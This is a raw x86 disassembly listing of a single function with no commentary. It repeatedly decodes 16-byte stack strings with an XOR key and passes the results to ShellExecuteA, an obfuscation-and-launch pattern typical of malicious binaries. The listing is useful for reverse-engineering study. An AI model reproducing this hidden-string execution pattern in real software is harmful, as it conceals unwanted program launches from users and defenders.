mov edx, dword [ebp - 0x7a8]
push edx
mov eax, dword [ebp - 0x8b4]
push eax
lea ecx, [ebp - 0x4a4]
push ecx
call fcn.00417340
add esp, 0xc
lea ecx, [ebp - 0x1488]
call fcn.00401a20
lea ecx, [ebp - 0x14a0]
call fcn.00401a20
lea ecx, [ebp - 0x14b8]
call fcn.00401a20
lea ecx, [ebp - 0x14d0]
call fcn.00401a20
mov edx, dword [ebp - 0x758]
push edx
call fcn.00433c20
add esp, 4
mov eax, dword [0x45e8d0]
cdq
mov esi, eax
mov edi, edx
add esi, 5
adc edi, 0
mov eax, dword [0x45e8d4]
cdq
add eax, 0x2945
adc edx, 0
push 0
push 0x2945
push edx
push eax
call fcn.0044f900
mov ecx, eax
mov eax, edx
add ecx, 0x64
adc eax, 0
mov dword [ebp - 0x8b0], eax
mov eax, dword [0x45e8d4]
cdq
add eax, 5
adc edx, 0
push edx
push eax
mov eax, dword [ebp - 0x8b0]
push eax
push ecx
call fcn.0044f900
add esi, eax
adc edi, edx
add esi, 0x2945
adc edi, 0
push edi
push esi
call fcn.00402400
add esp, 8
mov dword [ebp - 0xb64], eax
mov edx, dword [ebp - 0xda0]
mov dword [ebp - 0x7bc], edx
lea eax, [ebp - 0x4a4]
mov dword [ebp - 0x734], eax
mov ecx, dword [ebp - 0x734]
mov dword [ebp - 0x7b0], ecx
mov edx, dword [ebp - 0x734]
cmp dword [edx + 0x14], 0x10
jb 0x412e43
mov dword [ebp - 0x7ac], 1
jmp 0x412e4d
mov dword [ebp - 0x7ac], 0
movzx eax, byte [ebp - 0x7ac]
test eax, eax
je 0x412e72
mov ecx, dword [ebp - 0x734]
mov edx, dword [ecx]
mov dword [ebp - 0x8ac], edx
mov eax, dword [ebp - 0x8ac]
mov dword [ebp - 0x7b0], eax
mov ecx, dword [ebp - 0x7b0]
mov dword [ebp - 0x7bc], ecx
mov edx, dword [ebp - 0xda4]
mov dword [ebp - 0x7c0], edx
lea eax, [ebp - 0x45c]
mov dword [ebp - 0x738], eax
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x7b8], ecx
mov edx, dword [ebp - 0x738]
cmp dword [edx + 0x14], 0x10
jb 0x412eba
mov dword [ebp - 0x7b4], 1
jmp 0x412ec4
mov dword [ebp - 0x7b4], 0
movzx eax, byte [ebp - 0x7b4]
test eax, eax
je 0x412ee9
mov ecx, dword [ebp - 0x738]
mov edx, dword [ecx]
mov dword [ebp - 0xb68], edx
mov eax, dword [ebp - 0xb68]
mov dword [ebp - 0x7b8], eax
mov ecx, dword [ebp - 0x7b8]
mov dword [ebp - 0x7c0], ecx
mov edx, dword [ebp - 0xb64]
push edx
push 0
movzx eax, byte [ebp - 0x546]
push eax
mov ecx, dword [ebp - 0x7bc]
push ecx
mov edx, dword [ebp - 0x7c0]
push edx
call fcn.004332c0
add esp, 0x14
movzx eax, al
test eax, eax
je 0x412f42
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xda8], esp
lea edx, [ebp - 0x4a4]
push edx
call fcn.00415560
call fcn.00410a20
add esp, 0x18
lea ecx, [ebp - 0x4a4]
call fcn.00401a20
lea ecx, [ebp - 0x45c]
call fcn.00401a20
jmp 0x412fb7
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x14e8]
call fcn.00401810
push eax
lea ecx, [ebp - 0x42c]
push ecx
call fcn.004179e0
add esp, 8
mov byte [ebp - 0x547], al
lea ecx, [ebp - 0x14e8]
call fcn.00401a20
movzx edx, byte [ebp - 0x547]
test edx, edx
je 0x412fb7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xdac], esp
lea eax, [ebp - 0x218]
push eax
call fcn.00401810
call fcn.00410a20
add esp, 0x18
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0xb60], ecx
cmp dword [ebp - 0xb60], 0
je 0x413da3
lea edx, [ebp - 0x504]
push edx
call fcn.00403ed0
add esp, 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xdc0], esp
lea eax, [ebp - 0x444]
push eax
call fcn.00415560
lea ecx, [ebp - 0x51c]
push ecx
call fcn.0040c450
add esp, 0x1c
xor edx, edx
mov byte [ebp - 0x548], dl
xor eax, eax
mov byte [ebp - 0x549], al
xor ecx, ecx
mov byte [ebp - 0x54a], cl
xor edx, edx
mov byte [ebp - 0x54c], dl
xor eax, eax
mov byte [ebp - 0x54d], al
xor ecx, ecx
mov byte [ebp - 0x54e], cl
mov dl, byte [ebp - 0x548]
mov byte [ebp - 0x620], dl
mov al, byte [ebp - 0x549]
mov byte [ebp - 0x624], al
mov cl, byte [ebp - 0x54a]
mov byte [ebp - 0x628], cl
mov dword [ebp - 0xa20], 0xf76d062d
mov dword [ebp - 0xa1c], 0x7e47b2f7
mov edx, dword [ebp - 0xa20]
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa1c]
mov dword [ebp - 0xc0c], eax
mov dword [ebp - 0xa28], 0xae066fc6
mov dword [ebp - 0xa24], 0x1bb3bb0e
mov ecx, dword [ebp - 0xa28]
mov dword [ebp - 0xc08], ecx
mov edx, dword [ebp - 0xa24]
mov dword [ebp - 0xc04], edx
lea eax, [ebp - 0xc10]
mov dword [ebp - 0x73c], eax
mov ecx, dword [ebp - 0xdc4]
mov dword [ebp - 0x7c4], ecx
mov dword [ebp - 0x250], 0xf76d0651
mov dword [ebp - 0x24c], 0x7e47b2f7
mov dword [ebp - 0x248], 0xae066fc6
mov dword [ebp - 0x244], 0x1bb3bb0e
xor edx, edx
mov byte [ebp - 0x54b], dl
mov al, byte [ebp - 0x54b]
mov byte [ebp - 0x62c], al
movaps xmm0, xmmword [ebp - 0x250]
movaps xmmword [ebp - 0xed0], xmm0
mov ecx, dword [ebp - 0x73c]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xec0], xmm0
movaps xmm0, xmmword [ebp - 0xec0]
pxor xmm0, xmmword [ebp - 0xed0]
movaps xmmword [ebp - 0xee0], xmm0
movaps xmm0, xmmword [ebp - 0xee0]
mov edx, dword [ebp - 0x73c]
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x7c4], eax
mov cl, byte [ebp - 0x54c]
mov byte [ebp - 0x630], cl
mov dl, byte [ebp - 0x54d]
mov byte [ebp - 0x634], dl
mov al, byte [ebp - 0x54e]
mov byte [ebp - 0x638], al
mov dword [ebp - 0xa30], 0xbb196316
mov dword [ebp - 0xa2c], 0x1b23d398
mov ecx, dword [ebp - 0xa30]
mov dword [ebp - 0xc20], ecx
mov edx, dword [ebp - 0xa2c]
mov dword [ebp - 0xc1c], edx
mov dword [ebp - 0xa38], 0xc06f23b4
mov dword [ebp - 0xa34], 0x1bb3c765
mov eax, dword [ebp - 0xa38]
mov dword [ebp - 0xc18], eax
mov ecx, dword [ebp - 0xa34]
mov dword [ebp - 0xc14], ecx
lea edx, [ebp - 0xc20]
mov dword [ebp - 0x740], edx
mov dword [ebp - 0x240], 0xf76d0651
mov dword [ebp - 0x23c], 0x7e47b2f7
mov dword [ebp - 0x238], 0xae066fc6
mov dword [ebp - 0x234], 0x1bb3bb0e
xor eax, eax
mov byte [ebp - 0x54f], al
mov cl, byte [ebp - 0x54f]
mov byte [ebp - 0x63c], cl
movaps xmm0, xmmword [ebp - 0x240]
movaps xmmword [ebp - 0xf00], xmm0
mov edx, dword [ebp - 0x740]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0xef0], xmm0
movaps xmm0, xmmword [ebp - 0xef0]
pxor xmm0, xmmword [ebp - 0xf00]
movaps xmmword [ebp - 0xf10], xmm0
movaps xmm0, xmmword [ebp - 0xf10]
mov eax, dword [ebp - 0x740]
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x740]
mov dword [ebp - 0xb5c], ecx
lea edx, [ebp - 0x504]
push edx
mov eax, dword [ebp - 0xb5c]
push eax
lea ecx, [ebp - 0x1518]
push ecx
call fcn.00417080
add esp, 0xc
mov dword [ebp - 0x8e4], eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0xdd4], esp
lea edx, [ebp - 0x51c]
push edx
mov eax, dword [ebp - 0x7c4]
push eax
mov ecx, dword [ebp - 0x8e4]
push ecx
lea edx, [ebp - 0x1500]
push edx
call fcn.00417340
add esp, 0xc
push eax
push esi
call fcn.00417400
add esp, 0xfffffff4
mov ecx, esp
mov dword [ebp - 0xdd8], esp
lea eax, [ebp - 0x444]
push eax
call fcn.00415560
lea ecx, [ebp - 0x474]
push ecx
call fcn.0040b1f0
add esp, 0x34
lea ecx, [ebp - 0x1500]
call fcn.00401a20
lea ecx, [ebp - 0x1518]
call fcn.00401a20
xor edx, edx
mov byte [ebp - 0x550], dl
xor eax, eax
mov byte [ebp - 0x551], al
xor ecx, ecx
mov byte [ebp - 0x552], cl
mov dl, byte [ebp - 0x550]
mov byte [ebp - 0x640], dl
mov al, byte [ebp - 0x551]
mov byte [ebp - 0x644], al
mov cl, byte [ebp - 0x552]
mov byte [ebp - 0x648], cl
mov dword [ebp - 0xa40], 0x9219671d
mov dword [ebp - 0xa3c], 0x7e47b285
mov edx, dword [ebp - 0xa40]
mov dword [ebp - 0xc40], edx
mov eax, dword [ebp - 0xa3c]
mov dword [ebp - 0xc3c], eax
mov dword [ebp - 0xa48], 0xae066fc6
mov dword [ebp - 0xa44], 0x1bb3bb0e
mov ecx, dword [ebp - 0xa48]
mov dword [ebp - 0xc38], ecx
mov edx, dword [ebp - 0xa44]
mov dword [ebp - 0xc34], edx
lea eax, [ebp - 0xc40]
mov dword [ebp - 0x744], eax
mov dword [ebp - 0x230], 0xf76d0651
mov dword [ebp - 0x22c], 0x7e47b2f7
mov dword [ebp - 0x228], 0xae066fc6
mov dword [ebp - 0x224], 0x1bb3bb0e
xor ecx, ecx
mov byte [ebp - 0x553], cl
mov dl, byte [ebp - 0x553]
mov byte [ebp - 0x64c], dl
movaps xmm0, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0xf30], xmm0
mov eax, dword [ebp - 0x744]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0xf20], xmm0
movaps xmm0, xmmword [ebp - 0xf20]
pxor xmm0, xmmword [ebp - 0xf30]
movaps xmmword [ebp - 0xf40], xmm0
movaps xmm0, xmmword [ebp - 0xf40]
mov ecx, dword [ebp - 0x744]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x744]
mov dword [ebp - 0x84c], edx
push 0
mov eax, dword [ebp - 0x84c]
push eax
lea ecx, [ebp - 0x474]
call fcn.00415210
mov esi, eax
xor edi, edi
mov eax, dword [0x45e8d0]
cdq
mov ecx, edx
add eax, 5
adc ecx, 0
mov dword [ebp - 0x854], eax
mov eax, dword [0x45e8d4]
cdq
add eax, 0x2945
adc edx, 0
push 0
push 0x2945
push edx
push eax
mov dword [ebp - 0x858], ecx
call fcn.0044f900
mov ecx, eax
mov eax, edx
mov dword [ebp - 0x850], eax
mov eax, dword [0x45e8d4]
cdq
add eax, 5
adc edx, 0
push edx
push eax
mov eax, dword [ebp - 0x850]
push eax
push ecx
call fcn.0044f900
mov ecx, dword [ebp - 0x854]
add ecx, eax
mov eax, dword [ebp - 0x858]
adc eax, edx
add ecx, 0x2945
adc eax, 0
push eax
push ecx
call fcn.00402400
add esp, 8
mov dword [ebp - 0xa50], esi
mov dword [ebp - 0xa4c], edi
mov dword [ebp - 0xa58], eax
mov dword [ebp - 0xa54], edx
mov edx, dword [ebp - 0xa50]
cmp edx, dword [ebp - 0xa58]
jne 0x4134f8
mov eax, dword [ebp - 0xa4c]
cmp eax, dword [ebp - 0xa54]
je 0x413d82
xor ecx, ecx
mov byte [ebp - 0x554], cl
xor edx, edx
mov byte [ebp - 0x555], dl
xor eax, eax
mov byte [ebp - 0x556], al
mov cl, byte [ebp - 0x554]
mov byte [ebp - 0x650], cl
mov dl, byte [ebp - 0x555]
mov byte [ebp - 0x654], dl
mov al, byte [ebp - 0x556]
mov byte [ebp - 0x658], al
mov dword [ebp - 0xa60], 0x87197239
mov dword [ebp - 0xa5c], 0x51688884
mov ecx, dword [ebp - 0xa60]
mov dword [ebp - 0xc60], ecx
mov edx, dword [ebp - 0xa5c]
mov dword [ebp - 0xc5c], edx
mov dword [ebp - 0xa68], 0xae066fc6
mov dword [ebp - 0xa64], 0x1bb3bb0e
mov eax, dword [ebp - 0xa68]
mov dword [ebp - 0xc58], eax
mov ecx, dword [ebp - 0xa64]
mov dword [ebp - 0xc54], ecx
lea edx, [ebp - 0xc60]
mov dword [ebp - 0x748], edx
mov eax, dword [ebp - 0xddc]
mov dword [ebp - 0x7d0], eax
mov dword [ebp - 0x410], 0xf76d0651
mov dword [ebp - 0x40c], 0x7e47b2f7
mov dword [ebp - 0x408], 0xae066fc6
mov dword [ebp - 0x404], 0x1bb3bb0e
xor ecx, ecx
mov byte [ebp - 0x557], cl
mov dl, byte [ebp - 0x557]
mov byte [ebp - 0x65c], dl
movaps xmm0, xmmword [ebp - 0x410]
movaps xmmword [ebp - 0xf60], xmm0
mov eax, dword [ebp - 0x748]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0xf50], xmm0
movaps xmm0, xmmword [ebp - 0xf50]
pxor xmm0, xmmword [ebp - 0xf60]
movaps xmmword [ebp - 0xf70], xmm0
movaps xmm0, xmmword [ebp - 0xf70]
mov ecx, dword [ebp - 0x748]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x748]
mov dword [ebp - 0x7d0], edx
mov eax, dword [ebp - 0xd64]
mov dword [ebp - 0x7d4], eax
lea ecx, [ebp - 0x474]
mov dword [ebp - 0x74c], ecx
mov edx, dword [ebp - 0x74c]
mov dword [ebp - 0x7cc], edx
mov eax, dword [ebp - 0x74c]
cmp dword [eax + 0x14], 0x10
jb 0x41366c
mov dword [ebp - 0x7c8], 1
jmp 0x413676
mov dword [ebp - 0x7c8], 0
movzx ecx, byte [ebp - 0x7c8]
test ecx, ecx
je 0x41369b
mov edx, dword [ebp - 0x74c]
mov eax, dword [edx]
mov dword [ebp - 0x85c], eax
mov ecx, dword [ebp - 0x85c]
mov dword [ebp - 0x7cc], ecx
mov edx, dword [ebp - 0x7cc]
mov dword [ebp - 0x7d4], edx
mov eax, dword [ebp - 0x7d0]
push eax
mov ecx, dword [ebp - 0x7d4]
push ecx
call fcn.0043a630
add esp, 8
test eax, eax
je 0x4136cd
mov dword [ebp - 0x7d8], 1
jmp 0x4136d7
mov dword [ebp - 0x7d8], 0
mov dl, byte [ebp - 0x7d8]
mov byte [ebp - 0x560], dl
xor eax, eax
mov byte [ebp - 0x558], al
xor ecx, ecx
mov byte [ebp - 0x559], cl
xor edx, edx
mov byte [ebp - 0x55a], dl
xor eax, eax
mov byte [ebp - 0x55c], al
xor ecx, ecx
mov byte [ebp - 0x55d], cl
xor edx, edx
mov byte [ebp - 0x55e], dl
mov al, byte [ebp - 0x558]
mov byte [ebp - 0x660], al
mov cl, byte [ebp - 0x559]
mov byte [ebp - 0x664], cl
mov dl, byte [ebp - 0x55a]
mov byte [ebp - 0x668], dl
mov dword [ebp - 0xa70], 0x9215637f
mov dword [ebp - 0xa6c], 0x7e47b2f7
mov eax, dword [ebp - 0xa70]
mov dword [ebp - 0xc80], eax
mov ecx, dword [ebp - 0xa6c]
mov dword [ebp - 0xc7c], ecx
mov dword [ebp - 0xa78], 0xae066fc6
mov dword [ebp - 0xa74], 0x1bb3bb0e
mov edx, dword [ebp - 0xa78]
mov dword [ebp - 0xc78], edx
mov eax, dword [ebp - 0xa74]
mov dword [ebp - 0xc74], eax
lea ecx, [ebp - 0xc80]
mov dword [ebp - 0x750], ecx
mov edx, dword [ebp - 0xd68]
mov dword [ebp - 0x7e0], edx
mov dword [ebp - 0x400], 0xf76d0651
mov dword [ebp - 0x3fc], 0x7e47b2f7
mov dword [ebp - 0x3f8], 0xae066fc6
mov dword [ebp - 0x3f4], 0x1bb3bb0e
xor eax, eax
mov byte [ebp - 0x55b], al
mov cl, byte [ebp - 0x55b]
mov byte [ebp - 0x66c], cl
movaps xmm0, xmmword [ebp - 0x400]
movaps xmmword [ebp - 0xf90], xmm0
mov edx, dword [ebp - 0x750]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0xf80], xmm0
movaps xmm0, xmmword [ebp - 0xf80]
pxor xmm0, xmmword [ebp - 0xf90]
movaps xmmword [ebp - 0xfa0], xmm0
movaps xmm0, xmmword [ebp - 0xfa0]
mov eax, dword [ebp - 0x750]
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x750]
mov dword [ebp - 0x7e0], ecx
mov edx, 0x18
lea ecx, [ebp - 0x1578]
call fcn.004037b0
mov dword [ebp - 0x864], eax
mov dl, byte [ebp - 0x55c]
mov byte [ebp - 0x670], dl
mov al, byte [ebp - 0x55d]
mov byte [ebp - 0x674], al
mov cl, byte [ebp - 0x55e]
mov byte [ebp - 0x678], cl
mov dword [ebp - 0xa80], 0xf76d060d
mov dword [ebp - 0xa7c], 0x7e47b2f7
mov edx, dword [ebp - 0xa80]
mov dword [ebp - 0xbb0], edx
mov eax, dword [ebp - 0xa7c]
mov dword [ebp - 0xbac], eax
mov dword [ebp - 0xa88], 0xae066fc6
mov dword [ebp - 0xa84], 0x1bb3bb0e
mov ecx, dword [ebp - 0xa88]
mov dword [ebp - 0xba8], ecx
mov edx, dword [ebp - 0xa84]
mov dword [ebp - 0xba4], edx
lea eax, [ebp - 0xbb0]
mov dword [ebp - 0x754], eax
mov ecx, dword [ebp - 0xd8c]
mov dword [ebp - 0x7dc], ecx
mov dword [ebp - 0x3f0], 0xf76d0651
mov dword [ebp - 0x3ec], 0x7e47b2f7
mov dword [ebp - 0x3e8], 0xae066fc6
mov dword [ebp - 0x3e4], 0x1bb3bb0e
xor edx, edx
mov byte [ebp - 0x55f], dl
mov al, byte [ebp - 0x55f]
mov byte [ebp - 0x67c], al
movaps xmm0, xmmword [ebp - 0x3f0]
movaps xmmword [ebp - 0xfc0], xmm0
mov ecx, dword [ebp - 0x754]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xfb0], xmm0
movaps xmm0, xmmword [ebp - 0xfb0]
pxor xmm0, xmmword [ebp - 0xfc0]
movaps xmmword [ebp - 0xfd0], xmm0
movaps xmm0, xmmword [ebp - 0xfd0]
mov edx, dword [ebp - 0x754]
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x7dc], eax
lea ecx, [ebp - 0x1590]
call fcn.00403560
mov dword [ebp - 0x860], eax
mov ecx, dword [ebp - 0x7dc]
push ecx
mov edx, dword [ebp - 0x860]
push edx
lea eax, [ebp - 0x1548]
push eax
call fcn.00417340
add esp, 0xc
mov dword [ebp - 0x868], eax
mov ecx, dword [ebp - 0x864]
push ecx
mov edx, dword [ebp - 0x868]
push edx
lea eax, [ebp - 0x1530]
push eax
call fcn.00417440
add esp, 0xc
mov dword [ebp - 0x86c], eax
mov ecx, dword [ebp - 0x7e0]
push ecx
mov edx, dword [ebp - 0x86c]
push edx
lea eax, [ebp - 0x48c]
push eax
call fcn.00417340
add esp, 0xc
lea ecx, [ebp - 0x1530]
call fcn.00401a20
lea ecx, [ebp - 0x1548]
call fcn.00401a20
lea ecx, [ebp - 0x1590]
call fcn.00401a20
lea ecx, [ebp - 0x1578]
call fcn.00401a20
mov ecx, dword [ebp - 0x758]
push ecx
call fcn.00433c20
add esp, 4
mov eax, dword [0x45e8d0]
cdq
mov esi, eax
mov edi, edx
add esi, 5
adc edi, 0
mov eax, dword [0x45e8d4]
cdq
add eax, 0x2945
adc edx, 0
push 0
push 0x2945
push edx
push eax
call fcn.0044f900
mov ecx, eax
mov eax, edx
add ecx, 0x64
adc eax, 0
mov dword [ebp - 0x870], eax
mov eax, dword [0x45e8d4]
cdq
add eax, 5
adc edx, 0
push edx
push eax
mov eax, dword [ebp - 0x870]
push eax
push ecx
call fcn.0044f900
add esi, eax
adc edi, edx
add esi, 0x2945
adc edi, 0
push edi
push esi
call fcn.00402400
add esp, 8
mov dword [ebp - 0x87c], eax
mov edx, dword [ebp - 0xd6c]
mov dword [ebp - 0x7f4], edx
lea eax, [ebp - 0x48c]
mov dword [ebp - 0x75c], eax
mov ecx, dword [ebp - 0x75c]
mov dword [ebp - 0x7e8], ecx
mov edx, dword [ebp - 0x75c]
cmp dword [edx + 0x14], 0x10
jb 0x413ac8
mov dword [ebp - 0x7e4], 1
jmp 0x413ad2
mov dword [ebp - 0x7e4], 0
movzx eax, byte [ebp - 0x7e4]
test eax, eax
je 0x413af7
mov ecx, dword [ebp - 0x75c]
mov edx, dword [ecx]
mov dword [ebp - 0x874], edx
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0x7e8], eax
mov ecx, dword [ebp - 0x7e8]
mov dword [ebp - 0x7f4], ecx
mov edx, dword [ebp - 0xd70]
mov dword [ebp - 0x7f8], edx
lea eax, [ebp - 0x474]
mov dword [ebp - 0x760], eax
mov ecx, dword [ebp - 0x760]
mov dword [ebp - 0x7f0], ecx
mov edx, dword [ebp - 0x760]
cmp dword [edx + 0x14], 0x10
jb 0x413b3f
mov dword [ebp - 0x7ec], 1
jmp 0x413b49
mov dword [ebp - 0x7ec], 0
movzx eax, byte [ebp - 0x7ec]
test eax, eax
je 0x413b6e
mov ecx, dword [ebp - 0x760]
mov edx, dword [ecx]
mov dword [ebp - 0x878], edx
mov eax, dword [ebp - 0x878]
mov dword [ebp - 0x7f0], eax
mov ecx, dword [ebp - 0x7f0]
mov dword [ebp - 0x7f8], ecx
mov edx, dword [ebp - 0x87c]
push edx
push 0
movzx eax, byte [ebp - 0x560]
push eax
mov ecx, dword [ebp - 0x7f4]
push ecx
mov edx, dword [ebp - 0x7f8]
push edx
call fcn.004332c0
add esp, 0x14
movzx eax, al
test eax, eax
je 0x413d77
xor ecx, ecx
mov byte [ebp - 0x561], cl
xor edx, edx
mov byte [ebp - 0x562], dl
xor eax, eax
mov byte [ebp - 0x563], al
mov ecx, dword [ebp - 0xde0]
mov dword [ebp - 0x804], ecx
lea edx, [ebp - 0x48c]
mov dword [ebp - 0x764], edx
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x800], eax
mov ecx, dword [ebp - 0x764]
cmp dword [ecx + 0x14], 0x10
jb 0x413c00
mov dword [ebp - 0x7fc], 1
jmp 0x413c0a
mov dword [ebp - 0x7fc], 0
movzx edx, byte [ebp - 0x7fc]
test edx, edx
je 0x413c2f
mov eax, dword [ebp - 0x764]
mov ecx, dword [eax]
mov dword [ebp - 0x880], ecx
mov edx, dword [ebp - 0x880]
mov dword [ebp - 0x800], edx
mov eax, dword [ebp - 0x800]
mov dword [ebp - 0x804], eax
mov cl, byte [ebp - 0x561]
mov byte [ebp - 0x680], cl
mov dl, byte [ebp - 0x562]
mov byte [ebp - 0x684], dl
mov al, byte [ebp - 0x563]
mov byte [ebp - 0x688], al
mov dword [ebp - 0xa90], 0x9908763e
mov dword [ebp - 0xa8c], 0x7e47b2f7
mov ecx, dword [ebp - 0xa90]
mov dword [ebp - 0xba0], ecx
mov edx, dword [ebp - 0xa8c]
mov dword [ebp - 0xb9c], edx
mov dword [ebp - 0xa98], 0xae066fc6
mov dword [ebp - 0xa94], 0x1bb3bb0e
mov eax, dword [ebp - 0xa98]
mov dword [ebp - 0xb98], eax
mov ecx, dword [ebp - 0xa94]
mov dword [ebp - 0xb94], ecx
lea edx, [ebp - 0xba0]
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0xdd0]
mov dword [ebp - 0x808], eax
mov dword [ebp - 0x3e0], 0xf76d0651
mov dword [ebp - 0x3dc], 0x7e47b2f7
mov dword [ebp - 0x3d8], 0xae066fc6
mov dword [ebp - 0x3d4], 0x1bb3bb0e
xor ecx, ecx
mov byte [ebp - 0x564], cl
mov dl, byte [ebp - 0x564]
mov byte [ebp - 0x68c], dl
movaps xmm0, xmmword [ebp - 0x3e0]
movaps xmmword [ebp - 0xff0], xmm0
mov eax, dword [ebp - 0x768]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0xfe0], xmm0
movaps xmm0, xmmword [ebp - 0xfe0]
pxor xmm0, xmmword [ebp - 0xff0]
movaps xmmword [ebp - 0x1000], xmm0
movaps xmm0, xmmword [ebp - 0x1000]
mov ecx, dword [ebp - 0x768]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x768]
mov dword [ebp - 0x808], edx
push 1
push 0
push 0
mov eax, dword [ebp - 0x804]
push eax
mov ecx, dword [ebp - 0x808]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x48c]
call fcn.00401a20
lea ecx, [ebp - 0x474]
call fcn.00401a20
lea ecx, [ebp - 0x51c]
call fcn.00401a20
lea ecx, [ebp - 0x504]
call fcn.00401a20
xor edx, edx
mov byte [ebp - 0x565], dl
xor eax, eax
mov byte [ebp - 0x566], al
xor ecx, ecx
mov byte [ebp - 0x567], cl
xor edx, edx
mov byte [ebp - 0x568], dl
xor eax, eax
mov byte [ebp - 0x569], al
xor ecx, ecx
mov byte [ebp - 0x56a], cl
xor edx, edx
mov byte [ebp - 0x56c], dl
xor eax, eax
mov byte [ebp - 0x56d], al
xor ecx, ecx
mov byte [ebp - 0x56e], cl
mov dl, byte [ebp - 0x565]
mov byte [ebp - 0x690], dl
mov al, byte [ebp - 0x566]
mov byte [ebp - 0x694], al
mov cl, byte [ebp - 0x567]
mov byte [ebp - 0x698], cl
mov dword [ebp - 0xaa0], 0x83422673
mov dword [ebp - 0xa9c], 0x2e659299
mov edx, dword [ebp - 0xaa0]
mov dword [ebp - 0xd30], edx
mov eax, dword [ebp - 0xa9c]
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0xaa8], 0xdc6318a9
mov dword [ebp - 0xaa4], 0x6fddd44d
mov ecx, dword [ebp - 0xaa8]
mov dword [ebp - 0xd28], ecx
mov edx, dword [ebp - 0xaa4]
mov dword [ebp - 0xd24], edx
mov dword [ebp - 0xab0], 0xa6e915b1
mov dword [ebp - 0xaac], 0x8ee17f89
mov eax, dword [ebp - 0xab0]
mov dword [ebp - 0xd20], eax
mov ecx, dword [ebp - 0xaac]
mov dword [ebp - 0xd1c], ecx
mov dword [ebp - 0xab8], 0x5032e2a7
mov dword [ebp - 0xab4], 0x471e9ff8
mov edx, dword [ebp - 0xab8]
mov dword [ebp - 0xd18], edx
mov eax, dword [ebp - 0xab4]
mov dword [ebp - 0xd14], eax
mov dword [ebp - 0xac0], 0x77a78b99
mov dword [ebp - 0xabc], 0x5357db09
mov ecx, dword [ebp - 0xac0]
mov dword [ebp - 0xd10], ecx
mov edx, dword [ebp - 0xabc]
mov dword [ebp - 0xd0c], edx
mov dword [ebp - 0xac8], 0xea63fda3
mov dword [ebp - 0xac4], 0xa49ba111
mov eax, dword [ebp - 0xac8]
mov dword [ebp - 0xd08], eax
mov ecx, dword [ebp - 0xac4]
mov dword [ebp - 0xd04], ecx
lea edx, [ebp - 0xd30]
mov dword [ebp - 0x588], edx
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x340], 0xf76d0651
mov dword [ebp - 0x33c], 0x7e47b2f7
mov dword [ebp - 0x338], 0xae066fc6
mov dword [ebp - 0x334], 0x1bb3bb0e
mov dword [ebp - 0x330], 0x86857ac3
mov dword [ebp - 0x32c], 0xaec32dc1
mov dword [ebp - 0x328], 0x70519188
mov dword [ebp - 0x324], 0x154bd0b0
mov dword [ebp - 0x320], 0x5887d2d5
mov dword [ebp - 0x31c], 0x1b77b77b
mov dword [ebp - 0x318], 0xaf2bbaea
mov dword [ebp - 0x314], 0xa49bf542
xor ecx, ecx
mov byte [ebp - 0x57c], cl
mov dl, byte [ebp - 0x57c]
mov byte [ebp - 0x69c], dl
movaps xmm0, xmmword [ebp - 0x340]
movaps xmmword [ebp - 0x1020], xmm0
mov eax, dword [ebp - 0x588]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x1010], xmm0
movaps xmm0, xmmword [ebp - 0x1010]
pxor xmm0, xmmword [ebp - 0x1020]
movaps xmmword [ebp - 0x1030], xmm0
movaps xmm0, xmmword [ebp - 0x1030]
mov ecx, dword [ebp - 0x588]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x588]
add edx, 0x10
mov dword [ebp - 0x80c], edx
movaps xmm0, xmmword [ebp - 0x330]
movaps xmmword [ebp - 0x1050], xmm0
mov eax, dword [ebp - 0x80c]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x1300], xmm0
movaps xmm0, xmmword [ebp - 0x1300]
pxor xmm0, xmmword [ebp - 0x1050]
movaps xmmword [ebp - 0x1060], xmm0
movaps xmm0, xmmword [ebp - 0x1060]
mov ecx, dword [ebp - 0x80c]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x588]
add edx, 0x20
mov dword [ebp - 0x810], edx
movaps xmm0, xmmword [ebp - 0x320]
movaps xmmword [ebp - 0x1080], xmm0
mov eax, dword [ebp - 0x810]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x1070], xmm0
movaps xmm0, xmmword [ebp - 0x1070]
pxor xmm0, xmmword [ebp - 0x1080]
movaps xmmword [ebp - 0x1090], xmm0
movaps xmm0, xmmword [ebp - 0x1090]
mov ecx, dword [ebp - 0x810]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x588]
mov dword [ebp - 0x820], edx
mov al, byte [ebp - 0x568]
mov byte [ebp - 0x6a0], al
mov cl, byte [ebp - 0x569]
mov byte [ebp - 0x6a4], cl
mov dl, byte [ebp - 0x56a]
mov byte [ebp - 0x6a8], dl
mov dword [ebp - 0xad0], 0x83422673
